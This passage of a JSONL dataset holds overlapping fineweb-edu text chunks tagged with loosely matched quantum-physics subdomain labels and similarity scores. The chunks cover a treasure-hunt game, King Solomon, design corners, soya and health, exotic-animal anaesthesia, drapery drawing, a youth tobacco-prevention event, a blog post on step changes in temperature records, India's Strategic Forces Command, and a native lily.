an oil man exploring for black gold such as a wildcatter of the early 20th century. a tycoon with money to invest in treasure hunts is in many ways the adventuresome individual of modern times. for me though it will always be pirates and spanish explorers that come to my mind when treasure is to be found. player tokens representing each of these give participants a choice in what they would want to be if they could travel", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.48362200196108973, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.084632"} {"text": "individual of modern times. for me though it will always be pirates and spanish explorers that come to my mind when treasure is to be found. player tokens representing each of these give participants a choice in what they would want to be if they could travel the world hunting for treasure. i choose to use a purple helmet to represent the conquistador. you had to be of royalty to be given ships to explore the high seas and purple represents royalty. i thought the helmet more than anything represents the spanish explorer. i also think conquistador is a cool name. please visit our website at www. treasuretrovegame. com the fabled wealth of king solomon is legendary. he is thought to have been one of the richest men to have ever lived and many believe he was perhaps the wealthiest of all time. if what he possessed in his time was compared to today \u2019 s prices, his net worth would easily outpace the richest people living in modern times. he would have been richer than the oil baron john rockefeller at the turn of the 20th century or the computer billionaires of the early 21st century. his kingdom is written about in the old testament books of 1st kings and 2nd chronicles. the vastness of his wealth and how he managed the israelite empire he ruled over is quite detailed in these accounts. he lived almost three thousand years ago. he oversaw the building of the temple in jerusalem for the israelites to honor and worship god. it was probably one of the most expensive architectural accomplishments ever completed. rulers from distant places, such as the queen of sheba, traveled to visit him and marveled at his great wealth. it has been recorded that the utensils and drinking cups of his palaces were only of gold. it was plentiful enough in his household that silver was not considered of much value. ( 1st kings, chapter 10, verse 21 ) hundreds of years after king solomon lived, the babylonian empire ( located in present day iraq ) destroyed the temple and looted the treasures. archeologists discovered babylon in the mid 19th century but no treasures of king solomon. yet his greatest treasure remains with us to this day : his wisdom. he is regarded as the wisest man who ever lived. the recorded writings of his wisdom are in the book of proverbs of the old testament. the following is a sample of his inspired words : \u201c joyful is the person who finds wisdom, the one who gains understanding. for wisdom is more profitable than silver and her wages better than gold. wisdom is more precious than rubies ;", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4631970417946435, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.085647"} {"text": "known as contour bias ( see this page from the book universal principles of design ), rounded corners make objects appear less harsh and more friendly. the book cites the seminal work on contour bias as being this article humans prefer curved visual objects by moshe bar and maital net however, note that rounded corners are not necessarily the right answer - the book also says : objects with pointed features, elicited stronger activations in the region of the brain related to associative processing, meaning that although angular objects were less liked they elicited a deeper level of processing than did the contoured objects - they were in effect, more interesting and more thought - provoking to look at so perhaps it is a question of whether you wish content to appear more friendly or more noticeable. as the book continues : angular objects are more effective at attracting attention and engaging thought ; contoured objects are more effective at making a positive emotional and aesthetic impression. i was thinking about what we find in nature - and subconscious interpretation. we are preconditioned over time to what we find in the natural world. curves are more likely found in nature, while square corners are pretty unlikely, and often where they might occur ( eg due to fractures, breaks or other forces ) they get worn down over time to make a natural curve again. square corners simply do not have a place in natural world. for this reason, when we try to create a natural looking page we create rounded corners rather than square corners. this helps the border or the frame to sit more comfortably in the content. however, if we use square corners, those sharper points become more noticeable ( the subconscious is hardwired to look for danger and threats ). square corners start to distance themselves from the content. the result being that square frames are interpreted more as a separate window - providing a view through into the content inside. little surprise then, that art is hung in a square frame - the frame doesn ' t get seen as part of the picture - which allows you to see the whole picture unhindered. it ' s about separation of figure and ground. for this reason, i ' d expect the message inside a square button to be more clearly perceived if inside a square cornered frame than a rounded one. indeed, a serious message or warning does seem to carry more importance and command more respect in a square shape than a friendly rounded one. and no surprise that even more pointy triangles are used for warning signs. so - it seems to me that both square and rounded", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4680940093031146, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.088441"} {"text": "soya & health - poison or panacea? sandra hood, dietician published in the vegan, summer 2006 soya continues to exercise the minds of many in the media, who extol its virtues or bewail its impact on both the environment and health. as soya is a food many vegans eat regularly, it \u2019 s hardly surprising that it raises a lot of questions. most of the attention is focused on soya bean isoflavones, a class of phytoestrogens - hormone - like chemicals that occur in small amounts in many plants, seeds and grains. as more is learned about the biological activity of these isoflavones, concerns are raised as to whether they are harmful or helpful. these phytoestrogens can act in a similar way to the human hormone oestradiol but have a weak oestrogenic effect. accordingly, the most notable concerns are around infants consuming soya and women with oestrogen positive breast tumours. evaluating the health benefits of phytoestrogens is complex as these compounds have been shown to have many different effects. the problem comes when trying to determine whether it is safe to eat and if so, how much. unfortunately, there is lack of data on the effect of intake of soya in the uk and although internationally populations consuming high intakes of soya have a lower prevalence of certain diseases, there is insufficient data to attribute this protective role to soya. however, neither is there enough evidence to suggest that soya is harmful to health. in 2002 the british nutrition foundation produced a comprehensive briefing paper entitled \u2018 soya and health \u2019 which looked at the various health scares and claims surrounding this food. it concluded that \u2018 soya beans are a useful source of a range of nutrients and the beans themselves and foods derived from them can be useful components of a healthy diet. \u2019 what is soya? the soya bean belongs to the legume family, which includes all types of beans, peas and lentils, the edible seeds that come from pod - bearing leguminous plants, also known as pulses. a staple food in asian countries for centuries, soya is a nutritious alternative to meat in that it provides a high quality source of protein. naturally low in fat, it is also rich in fibre and provides essential fatty acids, mostly omega - 6 and some omega - 3, as well as a variety of vitamins and minerals including iron, potassium and folic acid. a portion of soya counts towards the", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4719975733664342, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.096898"} {"text": ", it is also rich in fibre and provides essential fatty acids, mostly omega - 6 and some omega - 3, as well as a variety of vitamins and minerals including iron, potassium and folic acid. a portion of soya counts towards the recommended five portions of fruits and vegetables per day. it is now well established that soya as part of a healthy eating diet has a cholesterol lowering effect and that people with raised cholesterol can benefit from 25g of soya protein per day as part of a diet low in saturated fat ( british nutrition foundation 2002 ). as a guide, 200ml of soya milk provides around 6g of protein, 200ml soya yoghurt around 10g and 100g of tofu around 8g. the cholesterol lowering effect of soya is not caused by the presence of phytoestrogens alone but is likely to be the result of a combination of the components in soya which affect cholesterol metabolism ( jenkins et al 2006 ) and the overall composition of diets with a high soya content ( rosell et al 2004 ). the safety of soya for infants and children concerns have been expressed regarding the suitability of soya infant formula or soya milk for children because it contains isoflavones. in 2003, the controversy surrounding phytoestrogens led the uk committee on toxicity of chemicals in food ( cot ) to produce a 440 page report considering the exposure to phytoestrogens generally in the diet, including those in soya. when it researched soya - based infant formulae it concluded : \u2018 studies do not provide definitive evidence that phytoestrogens present in soya - based infant formulae can adversely affect the health of infants. \u2019 allergies aside, there has not been a single study demonstrating adverse effects of soya in infants. in addition, soya - based infant formulae have been used in the uk since the 1960s and during this time there have been no reports of abnormal growth or reproductive problems. soya foods, particularly fortified versions, make a useful contribution to vegan diets, providing convenient alternatives to animal foods. in the uk the average vegetarian eats around 5 grams of soya protein per day and the average vegan around 15 grams. daily intakes of soya in asian countries are about 10 grams. with 25 grams necessary to lower cholesterol, any intake between 10 and 25 grams can be considered safe and healthy ( scott 2004 ). soya contains several components that traditionally have", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4503230917854824, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.097855"} {"text": "daily intakes of soya in asian countries are about 10 grams. with 25 grams necessary to lower cholesterol, any intake between 10 and 25 grams can be considered safe and healthy ( scott 2004 ). soya contains several components that traditionally have been considered to be anti - nutritional e. g. phytates and trypsin inhibitors. phytates are said to act as anti - nutrients because they have the ability to bind to minerals and possibly reduce the assimilation of calcium, copper, iron, magnesium and zinc. trypsin is an enzyme needed to break down proteins to make them available ; therefore inhibitors prevent this happening. however, research suggests that this may be an oversimplification. for example, boiling beans removes most of the trypsin inhibitors and these are also inactivated by sprouting and fermentation. there is suggestion that the human digestive system is stimulated to reject anti - nutrients and the body can adequately deal with these \u2018 non - nutritive \u2019 components without any detriment to nutritional states. there are many factors affecting the absorption of nutrients but few will alter the body \u2019 s normal mineral status if a person is physically well and following a balanced diet. effects on the thyroid the thyroid gland is responsible for the production of hormones necessary for growth and development and for regulating metabolism. it has been hypothesised that phytoestrogens interact with the thyroid gland by a number of potential mechanisms, raising concerns that the phytoestrogens in soya may affect thyroid function. this has only been suggested in adults where iodine intake was inadequate. these concerns remain theoretical and there is no evidence that soya foods adversely affect thyroid function in healthy, iodine - replete children and adults. dairy products provide about half the iodine consumption in the uk. vegan sources include seaweeds and foods made from them such as kelp, vecon, a vegetable stock, and iodised salt. numerous studies continue to suggest that soya isoflavones help with improved mental processes and a reduction in hot flushes. however, the results are inconclusive. the isoflavones found in soya bind to oestrogen receptors and prevent the binding of the body \u2019 s own oestrogen to the receptor and may help replace oestrogen in postmenopausal women. in the american family physician journal this year an article appeared suggesting patients who do not wish to take hormonal medicines should try other options including soya, red clover and black cohosh ( carroll", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4700186026955076, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.098805"} {"text": "oestrogen in postmenopausal women. in the american family physician journal this year an article appeared suggesting patients who do not wish to take hormonal medicines should try other options including soya, red clover and black cohosh ( carroll 2006 ). many tumours, especially breast cancers, are stimulated by human oestrogen. therefore the fact that isoflavones act in a similar way to mammalian hormones supports a potential role in breast cancer prevention. it is believed that these phytoestrogens may counteract some of the hormone \u2019 s cancer - causing potential. on the other hand, there are also concerns that these phytoestrogens may have a negative effect in relation to breast cancer risk. again this is hypothetical and there is a lack of studies to conclusively support either of these theories. women should be reassured that, whatever their health status, there seems no reason to avoid a moderate intake of soya ( cot 2003 ). the influence of diet on bone health is complex. there are intriguing suggestions that phytoestrogens may have the potential to protect bones ( arjmandi et al 2002 ) but studies remain controversial and no conclusions can be drawn. whilst too much protein can be detrimental to bone health, too little can also be damaging. the most important dietary aspect in bone status is a healthy balanced diet with adequate calcium ( found in nuts, seeds, pulses, figs, grains and fortified non - dairy milks ), vitamin d ( from the action of sunlight on skin and found in margarines and fortified non - dairy milks ) and vitamin k and potassium ( for which green leaf vegetables are an excellent source ). soya is a good source of protein and can reduce cholesterol levels. other claimed effects, both positive and negative, remain controversial and unproven. we all know that diet and lifestyle impact on our health and that it is unlikely that any one food is the panacea of all health and disease. a balanced vegan diet, with or without soya, will always be preferable to one based on animal foods for a multitude of reasons \u2013 nutritional, ethical and ecological. \u2022 arjmandi, b. h. and smith, b. j. ( 2002 ) \u2018 soy isoflavones \u2019 osteoprotective role in postmenopausal women : mechanism of action \u2019. j nutr biochem 13 130 - 337 \u2022 british nutrition foundation ( 2002 ) soya and health briefing paper, november 2002 \u2022", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4721076188996969, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.099702"} {"text": "##avones \u2019 osteoprotective role in postmenopausal women : mechanism of action \u2019. j nutr biochem 13 130 - 337 \u2022 british nutrition foundation ( 2002 ) soya and health briefing paper, november 2002 \u2022 carroll, d. g. ( 2006 ) \u2018 non - hormonal therapies for hot flashes in menopause \u2019, am fam physician feb 1 73 ( 3 ) 396, 398 \u2022 cot committee on toxicity of chemicals in food, consumer products and the environment ( 2003 ) phytoestrogens and health. the food standards agency \u2022 jenkins dj et al ( 2006 ) assessment of the longer term effects of a dietary portfolio of cholesterol - lowering foods in hypercholesterolemia am j clin nutr mar 83 ( 3 ) 582 - 91 \u2022 rosell ms, appleby pn, spencer ea, key tj ( 2004 ) soy intake and blood cholesterol concentrations : a cross - sectional study of 1033 pre - and postmenopausal women int he oxford arm of the european prospective investigation into cancer and nutrition am j clin nutr 80 1391 - 6 \u2022 scott, l ( 2004 ) the great soya saga in veggiehealth viva spring 4 16 - 17 \u2022 acknowledgements : tanya carr rd r nutr. plant based nutrition & health by stephen walsh \u2013 available from the vegan society.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.50005043177651, "token_count": 290, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.100269"} {"text": "the biggest concern with all exotic animals under anesthesia is hypothermia. other main concerns include airway access, intravenous access, pain management, and hemorrhage. their body mass to surface area ratio is so small that they become much colder than the average small animal patient. warming devices include heating pads, warming disks ( snugglesafes ), warm bags of fluids, warm blankets, heating lamps, and forced air warmers ( bair huggers ). some exotic species are very difficult to intubate, and instead of spending time attempting to intubate, a mask is used to maintain inhalant anesthesia. the specific benefits of intubation are a reduction of waste gas exposure for employees, the ability to administer positive pressure ventilation, and less bulky equipment around the patient ' s face. each patient should have the options considered and a decision made about attempting intubation or not. many exotic animals are so small that intravenous access is very difficult to accomplish and may not be possible in some cases. depending on the procedure and the species, it may be beneficial or even necessary. iv access during a procedure is helpful for administration of fluids, antibiotics, analgesics, and cpr drugs. keeping iv catheters in place as long as possible after a procedure is recommended for continued administration of fluids, or to reverse anesthetic drugs if necessary. if intravenous catheterization is not possible, intraosseous catheterization may be considered. drugs and fluids can be administered intraosseously. care should be given when administering large volumes through this route. subcutaneous fluid administration is another option for animals in which we are unable to get an iv catheter. pain management is another consideration in these species. we are limited with how much knowledge we have of certain species, and sometimes it is very difficult to assess pain status because certain species are especially good at masking their pain. consideration should be given to drugs that are able to be reversed. hemorrhage is much more significant with exotic animals due to their small blood volume. for more invasive procedures, blood volumes should be calculated for each patient. blood loss should be replaced with crystalloids ( lactated ringer ' s solution ) at approximately 2 \u2013 3 times the volume lost or with colloids ( hetastarch or oxyglobin ) one to one with the volume lost. in some cases the clinician may want to consider having another animal of the same species", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4698111135408189, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.103984"} {"text": "approximately 2 \u2013 3 times the volume lost or with colloids ( hetastarch or oxyglobin ) one to one with the volume lost. in some cases the clinician may want to consider having another animal of the same species ready to donate blood if needed. sevoflurane is our inhalant anesthetic of choice for exotic animals because it allows for rapid changes in anesthetic depth. isoflurane is also a safe choice for inhalant anesthetic in exotic animals and less expensive than sevoflurane. use of sevoflurane is only possible with sevoflurane compatible vaporizers. monitoring of exotic animals can be more difficult than in most small animals. due to their small size, many monitors are unable to give accurate measurements and readings. we generally try to monitor hr, rr, and temperature in all animals. electrocardiogram ( ecg ) can be measured by attaching clips to the skin. however, some exotic animals have very friable skin so we use gauze to pad the ecg clips or even needles through the skin with ecg clips attached to the needles. pulse oximeters are very helpful, however often they will not read, because the pressure of the probe compresses the blood flow through the tissue at that point. small probes are available but can sometimes be hard to obtain. blood pressure monitoring is definitely recommended when possible. most exotic animals are too small to make this possible. applying a doppler to a foot or even attaching it near the patient ' s heart can serve as a good heart rate monitor. temperature should be monitored even if just occasionally throughout a procedure to facilitate appropriate warming. the recovery period for exotic animals is especially critical. temperature, respiratory rate, and heart rate should be monitored throughout recovery until after extubation. if recovery is prolonged, a blood glucose level should be checked in order to supplement if necessary. all exotic animals should be offered food as soon as possible once awake ( procedure allowing ). fluid administration may be required during this period. reversal of certain anesthetic drugs may allow for a smoother and quicker recovery in some cases.", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.47955188981484426, "token_count": 443, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.104787"} {"text": "throughout art history, the use of drapery has been a fundamental expressive tool of the artist. many periods can clearly be delineated by how the artists handled drapery, or the clothed figure. this series of lessons is designed to give you the basic knowledge and skills needed to use drapery in an authoritative and convincing way, either working from imagination or from life. first we will discuss the basic elements that affect how drapery looks and hangs. second, we will make a detailed study of the seven basic folds. the final part of this series will deal with the use of folds for expression and defining the action. before we get started discussing drapery, i would like to make a few general remarks. if you have not studied the basic drawing lessons in my book, the vilppu drawing manual, it would be a good idea to do so. many of the elements discussed in the lessons are taken for granted, especially those lessons that deal with the rendering of form. i would like to repeat again some of the basic concepts i have discussed so often. first : there are no rules just tools! folds have patterns that are created by fundamental elements that have a cause and effect relationship. as such, they are not rules, but the laws of nature itself. in categorizing the folds and giving them names we acquire recognition and control. there are three distinctly different elements in using drapery. the first is understanding how drapery naturally appears and is affected by the real physical world, i. e. gravity, the type of material and the forms it is in contact with. the second is the way we use the drapery to further our artistic intentions. the third element is the basic technique used to render the drapery. i will discuss these elements separately, but in practice they all come into play simultaneously. in studying, it is important to see these elements separately so that you will have a greater flexibility in how you use them. the careful building of one element upon another is the surest way of achieving a mastery and true freedom of expression. gravity is the first basic element that you need to take into consideration in drawing drapery. without gravity drapery would have no real form. gravity, in conjunction with the type of material being used, is what creates a large portion of the folds we see. in the drawing above, notice how the folds start at the points that the fabric leaves the underlying supporting form. these points are the points of origin of the fold and define the form that is underneath. this brings us to the next", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5563799849217916, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.107493"} {"text": "norfolk - earlier this month the fourth - grade k - kids service organization from norwood - norfolk central school took part in a tobacco use prevention activity. led by k - kids advisors lee mittelstaedt and carrie french, with help from ben todd, st. lawrence county tobacco program coordinator, the activity included a brief presentation, scavenger hunt, and writing assignment. the group learned about the tactics the tobacco industry uses to lure young people into experimenting with tobacco products. companies put candy flavors in tobacco to trick little kids and teens to smoke and chew it, wrote taegan labrake. this point is supported by the following quote taken from tobacco industry files : it is a well know fact that teenagers like sweet products. so why would tobacco companies add candy flavors to their products? adding flavors like orange, grape, and cherry doesnt make tobacco products safer. it only makes them more appealing to youth. in march 2008, a poll found that one in five youth between the ages of 12 and 17 had seen flavored tobacco products or ads in stores, while only one in ten adults reported having seen them. these products are widely considered to be starter products, establishing smoking habits that can lead to a lifetime of addiction. the k - kids also learned about the chemicals that can be found in cigarettes. i dont think anyone should smoke or buy tobacco products, wrote emma wells. i didnt know cigarettes have so many chemicals. the students learned that cigarettes have thousands of chemicals in them, some of which are deadly. when asked what she learned, hillary filios wrote, cyanide is in rat poison and in cigarettes. the focus of this event was to help these fourth - grade students understand the importance of resisting the temptation to experiment with tobacco products. a 2007 study in the archives of pediatric and adolescent medicine found that some youths experience tobacco dependence within a day of first inhaling. evidence also shows that smoking can be a first step toward other substance abuse. stopping or delaying that first step will reduce the risk that kids will progress to using other harmful substances. this activity was scheduled in conjunction with kick butts day, march 20. kick butts day, organized by the campaign for tobacco - free kids, is a national day of activism that empowers youth. there will be more than 1, 000 events in schools and communities across the united states and around the world. in st. lawrence county there will be events in potsdam, lisbon, canton, heuvelton, and clifton - fine. k - kids, sponsored by ki", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4463414959403845, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.110833"} {"text": "story submitted by jens rauns\u00f8 jensen the ipcc dismisses in its ar4 report of 2007 natural climate variability as a major reason for the global temperature increase in the second half of the 20th century. the basic arguments are \u201c greenhouse physics \u201d, increasing and accelerating temperatures in the second half of the 20th century, and the inability of climate models to reproduce the temperature changes if only natural processes are considered. however, many local, regional and global temperature curves for 1960 - 2010 may be summarised as consisting of step changes, coinciding with one or more major enso - related events ( el nino ) and separated by periods of near constant temperature. thus, the temperature increase ( proxy for global warming ) in the second half of the 20th century could have taken place in steps driven by major enso events. this challenges ipcc \u2019 s notion of increasing and accelerating temperatures and ipcc \u2019 s modelling argument for accepting the anthropogenic global warming ( agw ) hypothesis as the major explanation for the observed temperature changes. temperature curves have been analysed with many different tools to establish a perceived underlying pattern for statistical and / or for attribution purposes : smoothing, linear regression, waves and periodicities, break points, shifts etc. they all have their merits and limitations, and there is no general agreement on the pattern except as consisting of a relatively cold period from the mid 1940s to mid 1970s, followed by a warmer period during the 1980s and 1990s. this post analyses temperature data using a tool for identifying step changes in the mean temperature, focusing on the period 1960 - 2010. this analysis complements many other similar analyses in the peer reviewed literature and on this and other blogs ( see eg. bob tisdale here ). the focus is on the land - based temperature record, the use of data up to 2010, and the application of a statistical tool that does not require a priori assumptions of the time or number of step changes. it is noted, that 1960 was selected as the start year for the analysis in order to cover the main period of interest from a global warming perspective. the step changes presented below remain the same when the entire historical observational records are analysed. the tool, i have relied upon, is available from noaa \u2019 s homepage and has been documented in the peer - reviewed literature ( www. beringclimate. noaa. gov / ). trial runs on different annual temperature datasets suggest, that a robust solution ( maximum correlation and low sensitivity to parameter setting ) is", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5121982349732233, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.119630"} {"text": "has been documented in the peer - reviewed literature ( www. beringclimate. noaa. gov / ). trial runs on different annual temperature datasets suggest, that a robust solution ( maximum correlation and low sensitivity to parameter setting ) is obtained when using the following settings : a cut - off length parameter in the interval of 8 to 14 years ( 12 selected ), a correction for autocorrelation by the ipn4 method, and an outlier definition of 3 s deviation in order to effectively give equal weight to all observations. the fig. 1 below shows the result for two of the many cases i have looked at : global ( crutem3gl ; ) and denmark, dk ( t _ dk _ k, from danish meteorological institute dmi ; the t - anomaly is with reference to 1961 - 1990 ( note : the dk curve has been shifted upwards by 2 oc to avoid overlap ). at the bottom in the figure, the warm ( red ) and cold ( blue ) state of the pacific decadal oscillation ( pdo ) is shown together with major volcanoes ( squares ) and el ninos ( triangles ). vertical lines show the pdo shift in 1976 and the start of el ninos in 1986 and 1997. notwithstanding the confounding influence of anthropogenic forcings, it is hard not to see this figure as suggesting, that natural processes have had a major influence on the course of the global warming in the second half of the 20th century, contrary to the assessment of the ipcc. the identified steps are statistically highly significant, and 85 % of the variation in the global land temperature during 1960 - 2010 may be explained by 3 upward steps, separated by periods of near constant temperature and with a lack of warming ( insignificant trend ) during the most recent 13 years. the step curve for denmark explains 40 % of the variance ( as compared to 30 % by the gauss - filtered smoothing model of dmi ), with a lack of warming during the most recent 23 years. the three steps in the global curve occur at 1977, 1987 and 1998. this could be a statistical coincidence as eg. any curve with a true linear trend may be summarised as a step curve. however, the three years have a documented physical significance : 1977, the great pacific shift, with the pdo turning to the warm mode, and 1987 and 1998 being years of major enso activity. thus, in terms of the accumulated nino3. 4 anomaly, the el", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5193048860918287, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.120824"} {"text": "have a documented physical significance : 1977, the great pacific shift, with the pdo turning to the warm mode, and 1987 and 1998 being years of major enso activity. thus, in terms of the accumulated nino3. 4 anomaly, the el ninos of 1997 / 98 and 1986 / 88 were the most extreme on record ( noaa data, 3 - month average nino3. 4 - anomaly ). furthermore, the linear trends of the four periods separating the change points are all non - significantly different from zero, but the power of this test is of course reduced in the periods of shorter length. ( it is noted that the hadcrut3 and the giss land - ocean datasets give essentially the same result, with steps at 1977 / 1990 / 1997 and 1977 / 1987 / 1997, respectively ). local and regional temperatures are generally known to be differently affected by enso events. accordingly, many local temperature curves across the globe can similarly be summarised by the step model, with one or more steps at or close to one or more of the steps identified above in the global record. for example, the denmark curve in fig. 1 displays one step in 1988 ; alaska curves display only one but very significant step in 1977 ( ghcn data, 4 stations analysed, not shown ) ; usa have steps in 1986 and 1998 ( giss, contiguous 48 states, not shown ) ; and australia have steps in 1979 and 2002 ( bom data, not shown ). finally, sidestepping a bit with some food for thoughts : inspired by the current discussion on the role of natural causes for the changes in the atmospheric co2 concentration, it may be mentioned, that the annual change in ppmv co2 at mauna loa displays significant upward shifts in 1977 and in 1998, on average increasing the annual concentration increment by 58 % and a further 33 %, respectively. it seems that there could be a strong influence of enso also on the annual increment on the co2 curve during 1960 - 2010. it is demonstrated above that the temperature increase in the second half of the 20th century could have taken place in steps driven by major enso events. the significance of the finding does not mainly rest on the statistical significance of the model fit, but on the physical support of the enso observations for the step changes, identified without making a priori assumptions on the timing or number of steps. if this was indeed the case \u2013 and it could be, unless proven otherwise \u2013 then the following", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5341031125420409, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.121784"} {"text": ", but on the physical support of the enso observations for the step changes, identified without making a priori assumptions on the timing or number of steps. if this was indeed the case \u2013 and it could be, unless proven otherwise \u2013 then the following implications arise : 1. natural processes in the ocean - atmosphere system may have had a major influence on the global temperature change in the second half of the 20th century. if so, then something must be wrong with ipcc \u2019 s climate models, as the models according to the ar4 can not at all reproduce the observed temperature curve by considering natural causes only. this could question the climate sensitivity of the models and the models ability to adequately describe the natural processes in oceans and atmosphere ( eg. enso phenomena ). while it is generally accepted, that enso events can produce abrupt changes in global temperatures, the ipcc considers such effects to be short lived ( albeit based on a poor ability to model enso processes ), whereas the observational data when summarised as step changes imply a longer term effect on both local and higher - level average temperature curves. 2. the linearity assumption underlying the use of linear regressions for trend analysis of the temperature records is in principle violated by the presence of steps. thus, the global temperature should not be considered as simply uniformly increasing or accelerating, and claims of average temperature increases and accelerations may be erroneous and misleading. the use of linear regression for analysing temperature ( and other climate - related ) curves should be reconsidered. 3. regional and global temperature anomaly curves are \u201c apples and oranges \u201d, as they average over locations differently influenced by natural processes and in different states of the climate system. there is a need to emphasise more on the analysis of local temperature curves. 4. it was recently suggested, that the lack of warming during 1998 - 2008 was driven largely by natural factors ( kauffmann et al., 2011 ). referring to fig. 1, then what is the explanation for the apparent lack of increase in global temperature during 1977 - 1986 and 1987 - 1997? and what is then the conclusion for the overall cause of global warming during 1960 - 2010? finally, i want to make it clear, that i do agree with the presence of an anthropogenic greenhouse effect. but i find reasons in the observational data to doubt, that the ipcc, in its current analysis ( ar4, including only data up to 2005 ), has assessed the relative importance of natural and anthr", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5104763589914211, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.122776"} {"text": "strategic forces command the indian strategic forces command ( sfc ), sometimes called the strategic nuclear command forms part of india ' s nuclear command authority ( nca ). it is responsible for the management and administration of the country ' s tactical and strategic nuclear weapons stockpile. it was created on january 4th, 2003. it is the responsibility of the sfc to operationalize the directives of the nca under the leadership of a commander - in - chief of the rank of air marshal ( or its equivalent ). it will have the sole responsibility of initiating the process of delivering nuclear weapons and warheads, after acquiring explicit approval from the nca. the exact selection of the target area shall be decided by the sfc through a calibrated, cumulative process involving various levels of decision - making, and with formal approval by the nca. the sfc manages and administers all strategic forces by exercising complete command and control over nuclear assets, and producing all contingency plans as needed to fulfil the required tasks. since its inception, the sfc \u2019 s command, control and communication systems have been firmly established, and the command has attained a high state of operational readiness. v \u2022 d \u2022 emilitary of indiabranches indian army indian air force indian coast guardhistory \u00b7 academies \u00b7 ranks and insignia ( army \u00b7 air force \u00b7 navy ) \u00b7 special forces \u00b7 indian peace keeping force \u00b7 paramilitary forces \u00b7 strategic forces command \u00b7 strategic nuclear command \u00b7 ballistic missiles \u00b7 weapons of mass destruction conflicts indo - pakistani wars of 1947 \u00b7 1965 \u00b7 1971 \u00b7 operation polo \u00b7 operation vijay \u00b7 sino - indian war \u00b7 chola incident \u00b7 siachen conflict \u00b7 1987 sino - indian skirmish \u00b7 operation cactus \u00b7 kargil war this article about the military of indiais a stub. see the indian military history task forcefor article coordination. you can helpwikipedia by expanding it.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4591835853966709, "token_count": 380, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.124700"} {"text": "search for native plants by scientific name, common name or family. if you are not sure what you are looking for, try the combination search or our recommended species lists. search native plant database : miller, holmes o. calochortus luteus dougl. ex lindl. yellow mariposa lily usda symbol : calu9 usda native status : native to u. s. the slender stems of this plant bear a few narrow leaves and at the top 1 - 4 large, deep yellow, bell - shaped flowers in an umbel - like cluster. this species and some others frequently reproduce asexually by means of small bulblets in the leaf axils, which drop to the ground and grow into new plants. bloom informationbloom time : apr, may, jun ca native distribution : california coast ranges and western foothills of the sierra nevada. native habitat : heavy soil in grassland and open forests at low elevations. usda native status : l48 ( n ) benefituse food : bulb consumed by indigenous peoples. conspicuous flowers : from the national organizations directory according to the species list provided by affiliate organizations, this plant is either on display or available from the following : santa barbara botanic garden - santa barbara, canative seed network - corvallis, or recommended species lists find native plant species by state. each list contains commercially available species suitable for gardens and planned landscapes. once you have selected a collection, you can browse the collection or search within it using the combination search. view recommended species page record modified : 2008 - 10 - 20 research by : twc staff", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4311168148552017, "token_count": 320, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 